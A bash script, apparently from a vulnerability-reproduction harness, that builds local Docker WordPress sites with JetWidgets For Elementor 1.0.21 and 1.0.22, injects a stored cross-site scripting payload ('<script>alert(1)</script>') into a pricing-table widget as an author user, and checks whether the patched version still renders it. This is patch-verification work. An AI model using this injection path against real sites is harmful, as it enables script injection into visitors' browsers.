#!/bin/bash
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs/vuln_variant"
ARTIFACTS="$ROOT/vuln_variant/artifacts"
mkdir -p "$LOGS" "$ARTIFACTS"

cd "$ROOT"

PORT_VULN=8080
PORT_FIXED=8081

WP_URL_VULN="http://jetwidgets-vuln-wp"
WP_URL_FIXED="http://jetwidgets-fixed-wp"

log() {
    echo "[jetwidgets-variant] $*" | tee -a "$LOGS/variant_reproduction.log"
}

fail() {
    log "ERROR: $*"
    exit 1
}

cleanup() {
    local suffix="$1"
    docker rm -f "jetwidgets-${suffix}-wp" "jetwidgets-${suffix}-db" 2>/dev/null || true
    docker network rm "jetwidgets-${suffix}-net" 2>/dev/null || true
}

docker_health() {
    local name="$1"
    docker inspect --format='{{.State.Health.Status}}' "$name" 2>/dev/null | grep -q healthy
}

wait_for_http() {
    local wp="$1"
    local url="$2"
    local max_wait="${3:-180}"
    log "Waiting for $url to respond..."
    for i in $(seq 1 "$max_wait"); do
        local code
        code=$(docker exec "$wp" curl -s -o /dev/null -w "%{http_code}" "$url" 2>/dev/null || true)
        if [[ "$code" == "200" || "$code" == "302" ]]; then
            log "HTTP $code from $url after ${i}s"
            return 0
        fi
        sleep 1
    done
    log "HTTP check failed for $url (last code: ${code:-000})"
    return 1
}

install_wordpress() {
    local suffix="$1"
    local port="$2"
    local wp_url="$3"
    local net="jetwidgets-${suffix}-net"
    local db="jetwidgets-${suffix}-db"
    local wp="jetwidgets-${suffix}-wp"

    cleanup "$suffix"

    log "[$suffix] Creating Docker network..."
    docker network create "$net" >/dev/null 2>&1 || true

    log "[$suffix] Starting MySQL..."
    docker run -d --name "$db" --network "$net" \
        -e MYSQL_ROOT_PASSWORD=rootpass \
        -e MYSQL_DATABASE=wordpress \
        -e MYSQL_USER=wordpress \
        -e MYSQL_PASSWORD=wordpress \
        --health-cmd="mysqladmin ping --silent" \
        --health-interval=5s \
        mysql:8.0 \
        --default-authentication-plugin=mysql_native_password >/dev/null

    for i in $(seq 1 120); do
        if docker_health "$db"; then
            break
        fi
        sleep 1
    done
    if ! docker_health "$db"; then
        fail "[$suffix] MySQL did not become healthy"
    fi

    log "[$suffix] Starting WordPress..."
    docker run -d --name "$wp" --network "$net" \
        -p "${port}:80" \
        -e WORDPRESS_DB_HOST="$db:3306" \
        -e WORDPRESS_DB_USER=wordpress \
        -e WORDPRESS_DB_PASSWORD=wordpress \
        -e WORDPRESS_DB_NAME=wordpress \
        wordpress:6.7-php8.1-apache >/dev/null

    if ! wait_for_http "$wp" "$wp_url/wp-admin/install.php" 180; then
        fail "[$suffix] WordPress did not become reachable"
    fi

    log "[$suffix] Installing WP-CLI..."
    docker exec "$wp" bash -c "curl -fsSL -o /usr/local/bin/wp https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar && chmod +x /usr/local/bin/wp" >/dev/null 2>&1

    log "[$suffix] Installing WordPress core..."
    docker exec "$wp" wp --allow-root core install \
        --url="$wp_url" \
        --title="JetWidgets Variant" \
        --admin_user=admin \
        --admin_password=admin123 \
        --admin_email=admin@example.com \
        >/dev/null

    log "[$suffix] Installing Elementor 3.27.5..."
    docker exec "$wp" wp --allow-root plugin install elementor --version=3.27.5 --activate >/dev/null 2>&1

    log "[$suffix] Installing JetWidgets For Elementor $4..."
    docker exec "$wp" wp --allow-root plugin install jetwidgets-for-elementor --version="$4" --activate >/dev/null 2>&1

    docker exec "$wp" wp --allow-root user create author author@example.com --role=author --user_pass=author123 >/dev/null 2>&1 || true
}

insert_variant_page() {
    local wp="$1"
    local artifact="$2"
    local payload="$3"

    cat > "$artifact" <<'PHP'
<?php
require_once 'wp-load.php';

$author = get_user_by( 'login', 'author' );
$author_id = $author ? $author->ID : 1;

$PAYLOAD = getenv('VARIANT_PAYLOAD');

$data = array(
    array(
        'id'       => 'section_' . uniqid(),
        'elType'   => 'section',
        'settings' => array(),
        'elements' => array(
            array(
                'id'       => 'column_' . uniqid(),
                'elType'   => 'column',
                'settings' => array(),
                'elements' => array(
                    array(
                        'id'         => 'widget_' . uniqid(),
                        'elType'     => 'widget',
                        'widgetType' => 'jw-pricing-table',
                        'settings'   => array(
                            'title'          => 'Variant Plan',
                            'price'          => '9',
                            'price_prefix'   => '$',
                            'price_suffix'   => '/mo',
                            'features_list'  => array(
                                array(
                                    'item_text'     => $PAYLOAD,
                                    'item_included' => 'item-included',
                                ),
                                array(
                                    'item_text'     => 'Normal Feature',
                                    'item_included' => 'item-included',
                                ),
                            ),
                        ),
                    ),
                ),
            ),
        ),
    ),
);

$page = array(
    'post_title'   => 'Pricing Table Variant Repro',
    'post_status'  => 'publish',
    'post_type'    => 'page',
    'post_author'  => $author_id,
);

$post_id = wp_insert_post( $page );
if ( is_wp_error( $post_id ) ) {
    echo 'INSERT_ERROR=' . $post_id->get_error_message() . "\n";
    exit( 1 );
}

update_post_meta( $post_id, '_elementor_edit_mode', 'builder' );
update_post_meta( $post_id, '_elementor_template_type', 'wp-page' );
update_post_meta( $post_id, '_elementor_data', wp_slash( wp_json_encode( $data ) ) );

echo 'POST_ID=' . $post_id . "\n";
echo 'URL=' . get_permalink( $post_id ) . "\n";
PHP

    docker cp "$artifact" "$wp":/var/www/html/insert_variant.php >/dev/null
    docker exec --env VARIANT_PAYLOAD="$payload" "$wp" php /var/www/html/insert_variant.php
}

run_test() {
    local suffix="$1"
    local port="$2"
    local wp_url="$3"
    local version="$4"
    local payload="$5"

    install_wordpress "$suffix" "$port" "$wp_url" "$version"

    local wp="jetwidgets-${suffix}-wp"
    local artifact="$ARTIFACTS/insert_${suffix}.php"
    local insert_log="$LOGS/insert_${suffix}.log"

    insert_variant_page "$wp" "$artifact" "$payload" > "$insert_log" 2>&1

    if grep -q 'INSERT_ERROR=' "$insert_log"; then
        fail "[$suffix] Page insertion failed: $(cat "$insert_log")"
    fi

    local post_id page_url
    POST_ID=$(grep '^POST_ID=' "$insert_log" | cut -d= -f2 | tail -n1)
    PAGE_URL=$(grep '^URL=' "$insert_log" | cut -d= -f2 | tail -n1)
    log "[$suffix] Created page ID=$POST_ID at $PAGE_URL"

    docker exec "$wp" curl -s -L -D /var/www/html/page_${suffix}.headers -o /var/www/html/page_${suffix}.html "$PAGE_URL"
    docker cp "$wp":/var/www/html/page_${suffix}.html "$ARTIFACTS/page_${suffix}.html"
    docker cp "$wp":/var/www/html/page_${suffix}.headers "$ARTIFACTS/page_${suffix}.headers"

    docker logs "$wp" > "$LOGS/wordpress_${suffix}.log" 2>&1 || true
    docker logs "jetwidgets-${suffix}-db" > "$LOGS/mysql_${suffix}.log" 2>&1 || true
}

main() {
    local payload='<script>alert(1)</script>'

    log "=== Testing vulnerable version 1.0.21 ==="
    run_test "vuln" "$PORT_VULN" "$WP_URL_VULN" "1.0.21" "$payload"

    log "=== Testing fixed version 1.0.22 ==="
    run_test "fixed" "$PORT_FIXED" "$WP_URL_FIXED" "1.0.22" "$payload"

    local vuln_hit fixed_hit
    vuln_hit=false
    fixed_hit=false

    if grep -q '<script>alert(1)</script>' "$ARTIFACTS/page_vuln.html"; then
        vuln_hit=true
    fi

    if grep -q '<script>alert(1)</script>' "$ARTIFACTS/page_fixed.html"; then
        fixed_hit=true
    fi

    log "Vulnerable 1.0.21 raw payload rendered: $vuln_hit"
    log "Fixed 1.0.22 raw payload rendered: $fixed_hit"

    if [[ "$vuln_hit" == true && "$fixed_hit" == true ]]; then
        log "BYPASS CONFIRMED: variant reproduces on the patched version 1.0.22."
        exit 0
    elif [[ "$vuln_hit" == true && "$fixed_hit" == false ]]; then
        log "Variant reproduces on 1.0.21 but NOT on 1.0.22 (patch covers this path)."
        exit 1
    else
        log "Variant did not reproduce on either version."
        exit 1
    fi
}

trap 'cleanup vuln; cleanup fixed' EXIT
main
